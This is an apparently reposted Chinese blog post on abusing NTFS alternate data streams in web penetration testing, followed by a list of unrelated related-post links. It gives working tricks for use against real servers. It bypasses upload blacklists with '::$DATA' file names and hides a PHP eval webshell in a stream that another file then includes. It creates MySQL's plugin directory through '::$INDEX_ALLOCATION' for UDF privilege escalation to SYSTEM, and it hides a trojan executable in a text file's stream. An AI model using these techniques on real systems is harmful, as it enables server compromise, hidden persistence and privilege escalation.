首页 技术 正文
技术 2022年11月19日
0 收藏 708 点赞 4,313 浏览 2589 个字

有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html

可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。这里主要给大家分享几个利用方法,大家可以发散思维,想办法把ADS利用起来。

1.   经典的IIS 目录访问权限绕过:

详见:http://www.exploit-db.com/exploits/19033/

注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。

2.   Bypass 黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹  
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

根据第二个现象,我们可以bypass一些黑名单验证。

后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。

3.   在隐藏webshell中的利用:

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

4.   UDF提权中的利用

不详细介绍udf提权了 具体可以参考:《udf提权方法和出现问题汇总

UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就没有webshell,只有一个Mysql的弱口令。91ri.org在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。下面是一个demo
(1) 查找mysqlplugin目录:

NTFS ADS带来的web安全问题

NTFS ADS带来的web安全问题

但是我们可以发现其实服务器并没有那个目录:

NTFS ADS带来的web安全问题

(2) 尝试直接将dll导进去,

为了方便演示,我们随便导入一个txt,具体怎么通过unhex 和into dumpfile函数在mysql里导入dll,请看文章:

http://blog.sina.com.cn/s/blog_6ca7b58101013kt4.html

NTFS ADS带来的web安全问题NTFS ADS带来的web安全问题

目录不存在,肯定导不进去。

(3) 利用ADS突破限制建立目录

执行的命令是:

     

Default

 

12345 mysql&gt; select ‘It is dll’ into dumpfile ‘C:\\Program Files (x86)\\MySQL\\MySQL S erver 5.1\\lib::$INDEX_ALLOCATION’; ERROR 3 (HY000): Error writing file ‘C:\Program Files (x86)\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION’ (Errcode: 22)

NTFS ADS带来的web安全问题

发现继续爆出错误,但是回到服务器的目录上:

NTFS ADS带来的web安全问题

同样的方法,新建一个plugin目录

NTFS ADS带来的web安全问题

NTFS ADS带来的web安全问题

再往下就好办了,跟其他udf提权一个样。

5.   利用ADS隐藏木马

隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe

这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。

Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。

注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。

6.   补充:

各位黑阔可以发挥自己的想象,利用ADS说不定可以Bypass当前大部分的上传验证哦~~如果各位发现什么好玩的,还请多多赐教~

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,088
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,564
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,412
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,185
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,822
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,905